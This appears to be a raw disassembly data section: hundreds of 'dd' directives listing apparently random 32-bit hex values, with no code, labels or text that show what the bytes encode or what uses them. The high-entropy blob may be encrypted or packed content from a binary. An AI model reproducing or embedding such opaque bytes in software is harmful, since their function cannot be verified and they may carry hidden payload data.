dd 0EE10B929h, 23350320h, 4A3ED86Dh, 608CBCB6h, 267D82BCh
dd 7C2BF53h, 0DA738B57h, 0C7516D0h, 1717AB30h, 0BB0C84FBh
dd 98BB9034h, 3AF562D4h, 0AE98FEE9h, 0F5051E6Fh, 2EECE933h
dd 0F20965D2h, 0C51A203Ch, 0F6C05926h, 439D903Ch, 2F845762h
dd 0DE642F7Dh, 772ED15Ah, 0D40A9685h, 7F23AC34h, 92943825h
dd 0A8C05FE6h, 0D5B6286Eh, 0A9311180h, 0FDCD293Ch, 5250066Eh
dd 0C0BD52EEh, 4AFB80F9h, 53CAB81h, 155F975Ah, 50A8F6h
dd 4EE6203Dh, 19DFC7B8h, 95E9B109h, 0C6F420DCh, 2D61211Ch
dd 30578951h, 9206BDE9h, 367503D8h, 0D3F71088h, 8436EBFBh
dd 1212ACE3h, 58B3E952h, 0F57C0C9Bh, 75EA5FC9h, 6F5B15E1h
dd 0C6002BACh, 0FDADF70Ah, 39A4F389h, 76700504h, 84BB6819h
dd 0A80712DEh, 6309101Ah, 126C948h, 8F3B60CFh, 5E953229h
dd 6F904D3Eh, 11017912h, 322D4EF9h, 0C08C66ECh, 89DC245h
dd 5D3B4C41h, 5C02AF83h, 316678ACh, 0E7BF56D3h, 0C46B706Ch
dd 8845DF64h, 0C3EC57A7h, 0FC0FB62Dh, 27CE31F3h, 6DC3A412h
dd 851F2002h, 0C2908566h, 28A80716h, 0CC6584Ah, 0C8280638h
dd 575CA61Dh, 9569283Ah, 0BDFF73Ch, 0DDF911E9h, 0CAA99014h
dd 97F82EC3h, 3D25EB5Fh, 23E3BE00h, 5F01463Fh, 8129E0E9h
dd 530B42EBh, 4AC0D866h, 0E95B038Bh, 40415BCCh, 0EC6EF356h
dd 61F8B463h, 81E1535Ch, 3C3F46A4h, 0D8F7C343h, 1C29056Fh
dd 762DE9C2h, 90F2AD3Fh, 0D012FC69h, 0FEC9043Eh, 0C140D61Bh
dd 0D89BFBB8h, 9625E9C0h, 52A3DFDEh, 2B9F783Eh, 0E22B2E5Dh
dd 0FD2A980Bh, 0D3CE4480h, 5548DB3Dh, 7402773Bh, 0F3319D40h
dd 17C9775Eh, 4E0D6825h, 0BAA452A8h, 26635661h, 41788734h
dd 883E88DBh, 0C32D010Fh, 2FB6566Ch, 473E55C1h, 1278405h
dd 0CD1DF6A0h, 0FB8D302Bh, 61075A14h, 3D0905C9h, 0C0EF353Ah
dd 59C768A0h, 7C602DBCh, 2182504h, 0E40CB81h, 0F603F30h
dd 758AAFF1h, 38080FCDh, 0C4C6583Eh, 5FFC21BFh, 9A394068h
dd 0A30C3113h, 26CB447Ah, 5624FA4Eh, 0AB9484BEh, 49C89DD1h
dd 82333D93h, 627F2938h, 0FBE855F2h, 65BFEF01h, 0DE318C5Bh
dd 89E98930h, 46380CF8h, 32B00281h, 0EFC10528h, 0D284A960h
dd 0A32E5881h, 0BE089879h, 0D75A00C0h, 880F4E09h, 0FF4DFD8Eh
dd 29C5F472h, 0AFA8B1EFh, 0B4827D0Ch, 5BD65AE9h, 0C2CA7C2Fh
dd 5507AD5Bh, 0C6E12164h, 12FEB73Eh, 0D413782Dh, 0B5EC7D21h
dd 5D8A5207h, 5A2ED2FDh, 0F6F0C3A6h, 45B0A5ECh, 1F91AAC0h
dd 79F07EEFh, 4BEDF611h, 0C427FC1Fh, 212E729h, 0E6885212h
dd 0C0847C77h, 6BE38058h, 0B0820F09h, 850DBEDh, 22C3B4E0h
dd 0EE9B6E76h, 9A00FA69h, 0F072AFCFh, 0C0824C6Bh, 4CBDBBA7h
dd 0E05AC052h, 75950579h, 0F000FE0Fh, 0FEF9F6E9h, 4FED28C2h
dd 0CB41E13Dh, 5F211E0h, 0A4E94B61h, 0F18EAE88h, 0A84F5B7Eh
dd 5409DE27h, 4A32DDh, 80CCB5A9h, 0E9D60FF5h, 9DF26430h
dd 628DF13Eh, 30EF0E41h, 29DD4276h, 0FE3A94FDh, 0C842D762h
dd 857936B6h, 584C0AF5h, 0AB3E5951h, 11B06431h, 8593472Bh
dd 83F19205h, 0B8C2F9A5h, 0EA2D7ACAh, 65DF51C0h, 4B1DECF3h
dd 314F25B8h, 2C469172h, 0F019EB4h, 0B76BE934h, 0EBEE9D97h
dd 65AA8CC4h, 80F3EA4Fh, 2B59E9A1h, 55B72C07h, 12EFFD04h
dd 44FF16B8h, 0EAD089D8h, 0A35ACE04h, 83EC5C0Fh, 0F79040CFh
dd 7850120Fh, 0C159D3Dh, 15A412ABh, 7E068BBBh, 0FEC27F16h
dd 0A23A31BEh, 0C5152C59h, 8EFA22DBh, 30A558BCh, 0F6803EC9h
dd 0F03016EAh, 0CBE0F95Ah, 0C07910h, 6CAA3643h, 0A25F860Fh
dd 5F125416h, 0C23B920Bh, 387B751Fh, 44FC9209h, 897D97E5h
dd 0E153DD58h, 9C0F2CE2h, 0DCDD207Bh, 18440126h, 0EC1FFCBh
dd 0AB853058h, 34481443h, 0FED20309h, 3053D2E9h, 0E04169C2h
dd 0CBE3E36Fh, 9573D05Ch, 0C3710B7Eh, 62DAB82Eh, 0D519E942h
dd 45753889h, 725A14F4h, 0B2535084h, 17AF4B8Bh, 0BBDCC18Ch
dd 47850508h, 2457D882h, 9DD6AC2Ch, 4AC201E0h, 5EE93FD7h
dd 0E20565BFh, 51C9657h, 0EB139AC7h, 0FF04EA07h, 0F7BB0293h
dd 0D9E9C3B9h, 0DD5949CCh, 0BFD4363Bh, 0BFC9837Ch, 29D32491h
dd 0A960EE41h, 0A75A008Bh, 2DCBBA06h, 0E91330C1h, 0CDEF1EB9h
dd 53520825h, 90075B8h, 0BB767915h, 542C26C3h, 4C31CED8h
dd 34B6CD9h, 0CB29660Dh, 32F94BC1h, 70350407h, 9FF0BBBh
dd 14616731h, 386652B8h, 0EB015344h, 607F1024h, 7882FB01h
dd 640F4C1Ah, 0C268FEE2h, 6E12FDBFh, 0CE006081h, 4505C13h
dd 12E61DBEh, 0E20EE731h, 0FC84FEA9h, 0BFC1369h, 56067202h
dd 0A27DEA01h, 791FE04Bh, 97DEAFA4h, 53CFFE2Dh, 8BE97DE2h
dd 46FE205Dh, 0E4BC24D3h, 0F3DED9C6h, 69F1E71Ch, 89FE5EDBh
dd 0E9D8E521h, 9CE94C8h, 0F175E689h, 0C87589Ah, 0AD94D597h
dd 5724C342h, 5C7A0157h, 685B0686h, 850F069Bh, 9790CFBFh
dd 0E94138D7h, 0BD7ABFB5h, 0E69D7FF0h, 0D7C92D57h, 5E6B307Ch
dd 7894BE3Fh, 6480A59Ch, 555410B1h, 295D5B17h, 4333EE0Ch
dd 5D905AFAh, 0A779CB84h, 0BA92C07Ch, 4ABE0A50h, 0FAB448ECh
dd 0D2E2DB05h, 63BDB424h, 0B294E04Eh, 4A2089B0h, 9D8BB215h
dd 0E96FBDFEh, 95A2F0FBh, 275D9C94h, 1A5A3B3Ch, 40262677h
dd 801E3F99h, 0A00FF381h, 841C2253h, 0D1C82E8Ch, 9FB301EBh
dd 5F891772h, 35452A20h, 0F940CEC1h, 0B9E1EEDh, 0E82928B5h
dd 5F80089h, 4AFC1603h, 0F44995E9h, 2D31042Ah, 0ADAC6C9Bh
dd 2592A84Ah, 97397778h, 3F02651Ch, 658F4005h, 3ED4C9BBh
dd 4186C8F2h, 514A2EE8h
dd 0B5B297BBh, 859B023h, 805BFA07h, 0EA335DF2h, 7AC2B006h
dd 0BD2B71E9h, 1A6C353h, 55EBCFA1h, 54AD2B47h, 0BEC2E467h
dd 0CB249E1h, 0BD411A24h, 37876BDAh, 6AC507B1h, 73BFAF40h
dd 0C77A5033h, 0D3BE5AF1h, 6154B2Ah, 24D749E9h, 2419CF51h
dd 57FD6862h, 0AA13A966h, 0C58840BCh, 0D6685958h, 7981469Fh
dd 6B0D3952h, 0F2E92204h, 7BA2F760h, 16841732h, 2B065D64h
dd 449D5580h, 2EF22015h, 96695995h, 522AC351h, 344F85B1h
dd 3DC462BAh, 8DEB9B68h, 2C7DE016h, 826F8296h, 6136C625h
dd 457ED5A3h, 0EB1D9374h, 67266DB2h, 28E985F0h, 0C16694CBh
dd 0D4E38008h, 472C6856h, 0BDC0AD76h, 28B26B1h, 0D953BF03h
dd 4EF4FC74h, 609F7C04h, 35804FC0h, 0E5504FDFh, 1C080682h
dd 70511482h, 5889DA49h, 6925FB56h, 68E7AD18h, 790EB62Ah
dd 0DAD6E917h, 41E182CCh, 0B0016B3Fh, 3D1E7FF8h, 0A37E856Bh
dd 102148F0h, 354C4DC5h, 7DDEC825h, 0CD242753h, 66554E41h
dd 0B1257CF0h, 9527E8C1h, 50F62570h, 0EEE567AFh, 0E037AA2Bh
dd 9033DDC9h, 50026000h, 100449B0h, 70C34C28h, 0FDE0BF20h
dd 565A5EEh, 0C7D4DEFFh, 7E63BCAAh, 26FE902Dh, 41C4379h
dd 0FA840A0Ch, 9687FD09h, 286B2845h, 48E68BBFh, 55B501E1h
dd 8CE96F4Ch, 813B2879h, 2A263EDCh, 5FA03D6Ah, 4C646807h
dd 72F44FF7h, 0E36F0EA8h, 1F1F1DA4h, 7BB44056h, 7E2A0EF6h
dd 0F1412089h, 7FF9015Eh, 16B8E414h, 6DB51AEAh, 0A42B04DDh
dd 14B51C11h, 0C0329F5Eh, 1FD8E15Fh, 0F94EB168h, 9FBE501h
dd 0F4F40EDEh, 0A730A7CAh, 183CBE56h, 0B2190638h, 6D253115h
dd 9DC15051h, 0B3094589h, 5C5B22D8h, 56AD38BBh, 0A45CC940h
dd 2033B4F2h, 4EB309B1h, 6D800B2Fh, 0F0ABE901h, 0C3F0F195h
dd 9913F568h, 8547CE9h, 5AEE00B7h, 685046E3h, 5BE5ECD1h
dd 4B178A41h, 33828281h, 0A25FD26Ah, 0E6B73658h, 0E4883DCDh
dd 0C05CC26h, 0CE2B4C61h, 0ED3EEF41h, 60BA8E9Fh, 0B913092Eh
dd 310BCC5Eh, 0BB022D84h, 12ADE72h, 1A16C1C8h, 0FC0AD3Eh
dd 5C89515Ah, 0A1FAC0F5h, 9AF82A95h, 5320E09Ch, 8A489711h
dd 519746E4h, 0BC7CAD2h, 69100EA9h, 183D5517h, 0E38A983Ch
dd 12A4F317h, 706526Dh, 262C018Ah, 34000C7Ch, 531CD717h
dd 17255B58h, 17B62F5h, 0E907E06Bh, 7B68256Dh, 0C3F21BECh
dd 28269CDDh, 954A09CCh, 0DA2A1075h, 8BFE5FD7h, 68DD621Dh
dd 2020D25Ah, 55976CDDh, 0C2D56E29h, 0ACA27140h, 4C0C38EDh
dd 0C80C35C1h, 45261E18h, 0A9D21030h, 0F3287CE5h, 7061FB5Ah
dd 9089B947h, 2F84E4D0h, 66B2AA1Eh, 0FEDFA182h, 0AB60E921h
dd 65F4C93h, 0EB0609C8h, 6BBAE207h, 1BB41D69h, 5B2458ECh
dd 8A5E0802h, 4DB2C00h, 0EDF02876h, 7F8BB7D3h, 0B24C8316h
dd 7FC1050h, 0AB4DD15Ah, 0C2FF1553h, 0BDD22938h, 35521EFEh
dd 4E6204B9h, 96EE722Ah, 0CD26A87Ch, 0C344642Ch, 58E6FCBAh
dd 44AE5A08h, 0EF3FDB18h, 82C876DCh, 0FF04CA2h, 0C1F78902h
dd 0C507BFDFh, 0AF4A9492h, 3949B4CAh, 2E0B846Dh, 74A7E701h
dd 0A86A08B5h, 84EB4BC2h, 751C8877h, 0F02DA694h, 0C4AE4B6Ah
dd 5FFD80C4h, 0DAE7264Bh, 16C570DDh, 602B06E9h, 3CB96824h
dd 5C2D2292h, 200290Fh, 40173D88h, 676D68E4h, 79782577h
dd 3CBE5A7h, 57D14D7Bh, 0F714AD49h, 0E9064415h, 0B62EDC07h
dd 74474FD1h, 0E6CEAB6Eh, 54BA11F8h, 3119BD80h, 0C3832F50h
dd 2E304DF8h, 8A4B0C54h, 0E1154F7Bh, 0E6A36F2Ch, 4CDFA214h
dd 822E0C07h, 0C7F7B108h, 0A73068FEh, 77A1C8D3h, 47F51231h
dd 435F869h, 1BBD73D3h, 564F1781h, 2E5164CAh, 25B04AE9h
dd 0A8C4B67Fh, 9FF8D208h, 21E3297Eh, 0E9130AF9h, 508392FEh
dd 0B5A6853h, 268C3085h, 0FDF09557h, 0B7BF4B40h, 8295EE72h
dd 96A967Bh, 0FED40FC3h, 8E44C784h, 4283D187h, 0EB6B0B84h
dd 8A8F47CEh, 8322E67Fh, 0E388535Ah, 3EDCADCAh, 0F6EFE192h
dd 6598F5Eh, 803F3997h, 283C50B8h, 48C4D88h, 3246068Dh
dd 84E905C1h, 880F8690h, 0EDB6757Dh, 9383A62Fh, 0A2C263E4h
dd 4CFE7791h, 87EB096Eh, 0D305BE01h, 0A4E91980h, 0FB1AD710h
dd 56036D16h, 8CFDDD56h, 4E20CAAAh, 470A40BBh, 0C17F6D0Dh
dd 5E06E525h, 0B9AA0AD8h, 4369A74Eh, 87C13C52h, 0FFCB015Ah
dd 0E99C16C5h, 5B8D8725h, 9317963h, 0CA87410Ch, 6BE34A0h
dd 2E5AA488h, 65BB9FF0h, 0FE5B3A11h, 6CAFB105h, 7CC144FCh
dd 3F3F5C49h, 0CDC35544h, 55852AD2h, 0B9FD1289h, 175DF54h
dd 4154B73Fh, 3A10F3C9h, 6809AC53h, 0D976561Fh, 0A7463E61h
dd 3003E750h, 0F3509E3h, 5439C85h, 0CA8C4A08h, 2F9920C5h
dd 0B1D45C53h, 0AF4A5EC2h, 8DDC142Ah, 907F285Dh, 99B2E9B3h
dd 35EDA9C0h, 4A3D661Ah, 24E2B889h, 2F4790CFh, 0E0F180B8h
dd 93CD15Ah, 5359CA01h, 5B64CEBBh, 0F4EBDAE3h, 0B8E904F2h
dd 0B0F1E433h, 5902669Ch, 7F74D468h, 8A313A65h, 0C510A077h
dd 7DFC47B2h, 0AF800F1Eh, 59E451E9h, 0CB5B73E9h, 0FBED1794h
dd 0C2EFA229h, 0BBD9C851h, 786F241Eh, 16F30197h, 3029D204h
dd 2C1DE93Dh, 0F6EF2FEBh, 15650465h, 1EA28114h, 980128ABh
dd 2460641Ch, 1095408Dh, 192575F9h, 72B212FAh, 0CDFC5EA4h
dd 547F6194h, 78EDEE4Eh, 69DECB4h, 711A0330h, 92A6129Eh
dd 0D6DB04FBh, 0B3D5EAE9h, 1A149BFAh, 759DB6E9h, 28732554h
dd 0BF465C0Dh, 99E94368h, 0BD5168BAh, 1FE3B1Ch, 1360BCBh
dd 295E3EBh, 87B1E908h, 4151C5FFh, 30E8305Ch, 9941FB60h
dd 13768B3Fh, 0D5E373BFh, 0BF812E14h, 40B72DC0h, 2AEB3C59h
dd 0A5641EEFh, 16EE05Dh, 86E913C8h, 0E1D789F7h, 2EC63865h
dd 0EB097A5Dh, 8489A1D1h, 0CA5C831h, 27CF66FDh, 39775598h
dd 0FF2F5738h, 0FE598B4Bh, 9FB38C1Dh, 3C03C7FBh, 14F7108h
dd 4DA74DFh, 0E90B0C53h, 3858A138h, 54CE5E9Eh, 0D25FF813h
dd 0E75D56A4h, 0B275A5EBh, 0D4C17DB5h, 0E4FD6BFEh, 163BAB84h
dd 0F53E40EFh, 48BB58DCh, 2710809Fh, 0B809E474h, 0F6C42064h
dd 78CB292Fh, 920EF420h, 0D269F15Ch, 177F4D9h, 0A920F987h
dd 416A130Eh, 0B0E1AC4Ah, 136B5C68h, 4BC1E913h, 0B3055FD1h
dd 5113434Ch, 53A103B9h, 0E20F7430h, 0BECD40h, 49F9726Ah
dd 0A6CE681h, 126C2F5Ch, 89C5C5Fh, 62CEF8CBh, 2CB518BAh
dd 3B19075Fh, 0A7F021B4h, 68560951h, 85801FEAh, 0FCF6815Eh
dd 7ADA6113h, 0F8D0B71Ch, 5386284Bh, 0B6C0499Ch, 0BDB00475h
dd 7BE9D058h, 0E9C430FCh, 4F12AA20h, 4A2A7BAh, 0A95B05B9h
dd 0B307F6C4h, 49678237h, 0C4BC6D62h, 1F6A2D61h, 508D3AA0h
dd 315B2132h, 0F9965CECh, 59DB589Fh, 0C59501Bh, 2CAA2AF3h
dd 53168680h, 5CFE2DCCh, 5C9ECB1Ch, 401D827Dh, 982670F2h
dd 4E2C6E8Bh, 0C66851C0h, 0A2ED16Fh, 962E6559h, 82573E3Ch
dd 3E367909h, 3D68555Fh, 65F646F1h, 3FE1335Eh, 0EFD043Bh
dd 2BE68DB7h, 0BE8344EBh, 0D4BFFDE2h, 40730487h, 82541EA4h
dd 25B88726h, 5DEBC27Dh, 9CE2395Ch, 1598DD59h, 0BDA92532h
dd 98AC3FD6h, 3B9AF6C0h, 0CE907E4Fh, 7BB76B0Bh, 58D98797h
dd 2F53F336h, 50FE575Eh, 828D5950h, 68174CC4h, 0F0F80373h
dd 2A76F5B5h, 0E91696BCh, 318C4D47h, 9862E22Ah, 952864D5h
dd 8C9315D5h, 0E931DE01h, 23F2432Eh, 0AF907D90h, 7174AA5Eh
dd 2D6CE3EAh, 7C178B45h
dd 0C840C47Ah, 0A05CEDDDh, 0D19D2FE3h, 20DD9DFAh, 89B676BDh
dd 8DDECDCFh, 1A418060h, 1A8B010h, 16435705h, 7AE1F0E9h
dd 0BFF8C239h, 3759B576h, 0AD128BA8h, 0EE1DA266h, 0BE017DD0h
dd 411B2AE6h, 3B5B2109h, 13121F16h, 0DC3B44B8h, 0FD492996h
dd 5FB31662h, 137C2D0Dh, 181FA26Bh, 31150467h, 27ABDFAh
dd 0E7B88776h, 0ECBC244h, 7CB30D8Fh, 6617E3C0h, 0F096571h
dd 7F633A86h, 7AA5C6EFh, 0F9064F7Fh, 45560199h, 0D4E972FFh
dd 0B2DF002Eh, 0F3F28012h, 0DD6AE295h, 16715240h, 0A3AB1ED3h
dd 207394D0h, 547E953Eh, 1EEC6884h, 46CB17B8h, 56B7E278h
dd 0E5DC0B0Bh, 9054489Ah, 34EB6861h, 2EFA316Eh, 3B15ED16h
dd 8AF25AACh, 2FBE9ED4h, 14A85FEAh, 1BDF08A2h, 4398AC20h
dd 3B5EBB0Bh, 0B1EE535h, 5B6018E9h, 5078C229h, 187A022Dh
dd 82A20D29h, 5DFB1677h, 5B8FEA87h, 0D9543A90h, 5E3994A5h
dd 0E90D3FF9h, 0D4268BB4h, 0C3B6B09Eh, 90BD31Fh, 16D152D1h
dd 161F957Eh, 8562F2DBh, 0C6C4D729h, 5A101319h, 44607FC6h
dd 8C4B5789h, 0B5680588h, 5A84688Eh, 510DE50h, 29E74AF3h
dd 40A7F6AFh, 7716E90Ch, 3390FEFBh, 0A91C7A68h, 1B891BC6h
dd 8C07F231h, 0DAE5A2D2h, 588BDE0Bh, 0A4C1FB78h, 7428E0Fh
dd 50CA8981h, 6070C40Dh, 2D451C7Eh, 103CF36Bh, 5A02527Bh
dd 42E28B0Fh, 0F5D6A6A2h, 64FDCF6h, 73FABC6h, 317433C5h
dd 2EDE054h, 1F258A0Fh, 0E1B85F7Bh, 0F2F72409h, 5FA03401h
dd 63DB1499h, 0EF162AABh, 0D16865AEh, 6B0E280Ah, 524B0D8Eh
dd 0CE9BB7F9h, 6801500Bh, 393B6BD3h, 0E4DA205Eh, 15E71F13h
dd 7077C305h, 7D41BB0Bh, 0E91AFCECh, 5582821Fh, 159308DCh
dd 2709EDB6h, 6FF924Bh, 480D2308h, 0AA1C1331h, 6DD52715h
dd 6B6806C4h, 3926AB42h, 58935FA3h, 4BB77407h, 86880B2h
dd 25F728B3h, 16DFEAFDh, 7EBCC298h, 6C77308Dh, 8C0500C3h
dd 2D2AA04Bh, 82480B73h, 0E70F133Bh, 680AF5F7h, 406E4E96h
dd 7830488Dh, 11E78107h, 0E9225D0Ah, 0DB4B5FCDh, 2912DEB1h
dd 6D0B02F1h, 0F5214458h, 0F27670A7h, 755E5DA4h, 9C5A808h
dd 4A58E2C0h, 0EA30C776h, 30140C03h, 8DE924D1h, 0E8868318h
dd 858DDF6h, 108A3FF1h, 0C112F3EDh, 0A14809E6h, 7C9D8A7Ah
dd 200B1352h, 16B3C2E2h, 0EAA4E75Bh, 6F290505h, 0EAB98C0Fh
dd 0E7BF0912h, 0D89B8B47h, 0F35BBFC7h, 8A5D9CBh, 0E1274893h
dd 81358608h, 95FC1635h, 0AF4ED6ECh, 0AFB0AF87h, 0B3ACDD57h
dd 974B08FBh, 4077E225h, 2532C649h, 0F25C0E3Ch, 48A8CC30h
dd 0D15C4C96h, 107DAA07h, 0D1E3CF2Eh, 0CBE9324h, 877ACD0Bh
dd 0F080D754h, 9478232h, 0D70F7597h, 2E198E1h, 0F86AE2E9h
dd 6FD57240h, 0C9A9D883h, 2B5E97FEh, 0C8F40052h, 2C42D46Ch
dd 1619D0F7h, 0EB8AFBD7h, 0CB46572Ch, 96AD29D9h, 76576539h
dd 0F47F90DAh, 84D2077h, 4974CC3h, 6FCF3B23h, 0EEA788EAh
dd 5F793E18h, 5452E913h, 9CDFD5Eh, 7A4E51E1h, 4F7B0680h
dd 7DB844A9h, 0A72F7478h, 903478C4h, 0CC024B0Ah, 9BFA287h
dd 3E3273CDh, 6FB1F62Ch, 6B142006h, 594ED09h, 0FEE9E04Eh
dd 2B540B7Ch, 73C3EB29h, 30501BB0h, 13ECE916h, 0C9028FAh
dd 113E5D97h, 6FBE0E30h, 3B2563F6h, 0CE0217E2h, 2C765A20h
dd 11C9A262h, 31AF7066h, 0CEF8D84Bh, 0BCBD1786h, 3D556EB5h
dd 0FC732C8h, 1388CB89h, 1D0E28FEh, 0C7583B40h, 5655E018h
dd 0D9889C12h, 719DDD68h, 693BE64h, 56AEE4CFh, 0D32700B4h
dd 3500A400h, 0A1B2F818h, 0BA04D0ADh, 6EC2F3D4h, 0D2F0098Ah
dd 2B736814h, 0FC038938h, 237C2D72h, 7ABCC1E5h, 6BDFBD00h
dd 0EA21698Fh, 0DCACFA0h, 26D60E01h, 6F97870Fh, 0AE4B1C32h
dd 660C691Dh, 3E801661h, 9A27ECEAh, 6C555642h, 0D65D580Eh
dd 80842A26h, 0B02E1868h, 2D045871h, 0FB19C8C7h, 0C00ED1ABh
dd 4A010238h, 0F66E8997h, 0A377AFE6h, 2F445DADh, 89D7EA8Fh
dd 0F284F587h, 776609B3h, 0EB79C127h, 0C7914D6h, 81F0DB02h
dd 685A449Eh, 0C02FEFB3h, 0FA5FC645h, 29289A3Ah, 7F41FCF2h
dd 92B4AD20h, 0B1D6B525h, 0B8BA03DAh, 0B12A1DFCh, 52F9D2E7h
dd 5439FB1Eh, 5BE9B23Bh, 77E0FF10h, 133F19BCh, 4944AE55h
dd 8003ABB3h, 0CB83DEC3h, 6E146DF9h, 0F7C57B8Ch, 0CF84C9BAh
dd 8356481Bh, 0C2F9337Ch, 59FB24B0h, 6ECA055Bh, 6E90E909h
dd 10BB9857h, 17C2A493h, 5D3210Fh, 0FC54B95Dh, 0E006C50Bh
dd 6882FEA8h, 4C4C6B56h, 30D9FC55h, 5814C987h, 1DFA3084h
dd 38D735A2h, 8101BFB8h, 51EBB1F7h, 0AB7DE633h, 0F15400A2h
dd 504A6053h, 4C18FF81h, 0E103650Bh, 5F4E5ED3h, 2160C06h
dd 0A24043Fh, 0A8769C28h, 4BAF10BCh, 0AC04F9B8h, 1B3447h
dd 3CB808B4h, 16CE2CE9h, 45C888FDh, 0ED98E3A0h, 200AE22Dh
dd 0F015A9F0h, 894ABD5Dh, 95A080Bh, 3B2F1A20h, 0D693D330h
dd 7172FE35h, 884CF6FEh, 923AAACEh, 1FF90B37h, 0F821EFD3h
dd 5B03D3C0h, 7AA582B1h, 487C2898h, 958F08E5h, 0BF783A1Fh
dd 22B043C5h, 7EB05049h, 0D0D500D4h, 0FC0FEE8h, 0ED9A608Bh
dd 1A7028EFh, 55931071h, 3B8A0DEh, 45A66D1h, 52C88156h
dd 0CFECA82Fh, 54888BB5h, 38F82F09h, 0E2CFF5B1h, 5DAF6851h
dd 0B313EE46h, 52085277h, 68570261h, 82681ACBh, 60824BC6h
dd 24755576h, 138C0921h, 1B05FB03h, 31AB434Ch, 1A0FB5h
dd 0C1815756h, 0CE16A282h, 0CAF82A2Fh, 0F83F6A2h, 0B358F189h
dd 90BC2052h, 9CFA9FC7h, 0E1263C90h, 35406FA0h, 485D5515h
dd 903A5058h, 939B217h, 72F6FF8Ah, 841070Dh, 0E7E56520h
dd 0C2610005h, 0AB98FD29h, 0E59D8FBDh, 12FC1A5Ch, 0D1013DC5h
dd 70DA8908h, 0EEEA5A49h, 1C5A3590h, 3DAB79BEh, 0F1A61096h
dd 66D32801h, 6013D068h, 820956h, 0BC0AFCC4h, 0E1D2A063h
dd 916516B0h, 15040527h, 0EB75BACEh, 0A4043900h, 9505CA80h
dd 664A2F5Ah, 6FE95E02h, 0DBA95764h, 0FE7F4304h, 2931DADDh
dd 0F7D74A3Fh, 568908A9h, 0A946983Eh, 0D8F61Ah, 402E8C0h
dd 4CEB80C4h, 0E919C3E0h, 0B9BB2896h, 621EBE2Ah, 0E4942DF9h
dd 0CFB627BEh, 88B093E6h, 9DBDF540h, 0FD3D0977h, 0E741EA4Ah
dd 0CC76ACB8h, 95AF2DC5h, 0E14A1329h, 15B97EFFh, 0C1DF93DFh
dd 243B2CB4h, 5214F87Bh, 39913CB2h, 93C2926Eh, 257A4908h
dd 0FE8242B9h, 0FE880514h, 8250A1B2h, 0B7709536h, 4E8C5F4Eh
dd 62D2BC14h, 0D003711h, 0F0AB5481h, 0ABD84FF7h, 21504105h
dd 101234C5h, 7EBFC7EEh, 0AC34E9C4h, 0B9A64A01h, 0FEA6AE1Eh
dd 0E0945C24h, 3202BF2h, 12E90F16h, 0DEDC4BEAh, 5FC4CA74h
dd 0A3B6CBE0h, 8414D390h, 0C32BFDBEh, 8CFFBBB8h, 0D248DCAFh
dd 9F5DDD40h, 75C9F3D4h, 680F8EE5h, 8CEF665h, 5351D327h
dd 4CB0756Bh, 920416CCh, 0AB67E979h, 0A94F9ACFh, 0DB7D1602h
dd 76856F37h, 0EBD17797h, 0CD38FEA7h, 9566C2B4h, 2E7D9D41h
dd 4C7EBE4h, 7A0D79D0h, 196DC24Fh, 42848E09h, 0C0532233h
dd 148B0D4h, 0BA524CB4h, 602E4726h, 8E972904h, 0CCCE89C6h
dd 4F8EFC6Dh, 71A19733h, 2AFECDFBh, 0F170BA3Dh, 0E7825E2Dh
dd 0F5512DA7h, 0B877062Bh, 0B75BE388h, 50181853h, 3E040DA0h
dd 0F94C4E7Dh, 0A060E913h, 9E0BBB5Dh, 504A2007h, 2BE9869h
dd 353353A6h, 8A60EBC1h, 0D5822AC4h, 0BD2543C8h, 3C90C4A6h
dd 0DC3D89B5h, 9EA5EF6Fh
dd 0C269F957h, 0A105DC68h, 2103E952h, 99421359h, 4AF8A023h
dd 54B3800Fh, 7B91E611h, 24F68251h, 6BFBF14Bh, 9420F952h
dd 3C7C9D14h, 23A25D25h, 0C6575D6Ch, 49FA9757h, 59CD0117h
dd 2EE9BD90h, 0D1C895D5h, 0E6973944h, 0D4B22ADh, 9E7F2309h
dd 0C2980E35h, 811C3B12h, 85061DDCh, 7BD857C2h, 73F405E6h
dd 2D19E812h, 8C6EB1FFh, 0E559EB68h, 3E789E20h, 0C70058BDh
dd 14473842h, 0A7983B98h, 214C032Dh, 0E6840FF0h, 0ED9DC53Fh
dd 9531841Ah, 0BB535C03h, 3E2AD802h, 4C65F868h, 743309C9h
dd 208E1597h, 25785A80h, 365FE955h, 83B1E180h, 0A4C16280h
dd 0A17A428Eh, 62A8C09h, 5658051h, 755E71D5h, 25BAE852h
dd 4077F994h, 945BDE92h, 0C110C2A3h, 0FEE5904h, 0B693D340h
dd 6E4E1C4Ah, 0CF477D25h, 9D14F72Dh, 0ED13584Eh, 68F143F8h
dd 85E43EC0h, 0FA0E4AF4h, 0BF837631h, 7AE90A0Ah, 0D089B426h
dd 98F00293h, 621E5C0Dh, 877ADD01h, 810E7D5Bh, 7749C458h
dd 1E853B95h, 718490FBh, 0B765366h, 0BD5A3EF1h, 85C9760Ch
dd 0CBF1215Dh, 0FFB05A81h, 25681855h, 66AFC562h, 0F9EDB3C0h
dd 0F678EE43h, 88425E1Ch, 141348FBh, 11CD4C1Dh, 0C022531h
dd 5BC9FC5Eh, 0C802B4F3h, 1B3B94BBh, 2624764Eh, 25020057h
dd 37305A5Eh, 6A8E925h, 9715241h, 172F75F1h, 70991C2h
dd 0A9E1F000h, 77D4D56h, 71FBC901h, 9684413h, 0F0E3DCEAh
dd 124A41E9h, 0FC24CB9h, 9EF01889h, 0E8BBD59Dh, 3D09BEF6h
dd 7618D44Eh, 4D84B9D6h, 8020D31Ah, 472A9D5Fh, 97E9490Ch
dd 4B5E48C5h, 28C5BE2Dh, 0D5CC3C91h, 0B2A3BE04h, 5B46CF5Eh
dd 52D50DF6h, 5E078A10h, 0DAE131AEh, 0AFAC3F68h, 431564E0h
dd 0FD203941h, 0E13841F1h, 0D28562C8h, 29E6F601h, 0C17840CBh
dd 5FB84410h, 90A70EBCh, 263C705Dh, 0F51F81E8h, 794769A7h
dd 87850F4Dh, 0EAE9B5A0h, 79719F7Bh, 0EE0B88h, 0AABDD88Bh
dd 1124807h, 0A41DDDF7h, 7DA7B56Ch, 5449FFCEh, 0DDD1C533h
dd 4A728FFBh, 451A10C0h, 464B4C06h, 0A5BE1C4Eh, 0FE8F4E5Dh
dd 3A680156h, 0E939D175h, 0C17C3Ch, 0D310EA2Dh, 51D02923h
dd 0BAF00705h, 53B02E43h, 0EB01C4D2h, 0B348C8A3h, 0FEF1900Bh
dd 5D4A834Ch, 833224EAh, 22006708h, 0D433C725h, 1F603575h
dd 0CB592C10h, 0D41ADE45h, 8CE500DCh, 0DB5FFBF8h, 3DBE4B18h
dd 8DF73A59h, 2058FB2Dh, 88297B0Bh, 0D530576Eh, 0BB6C5F7h
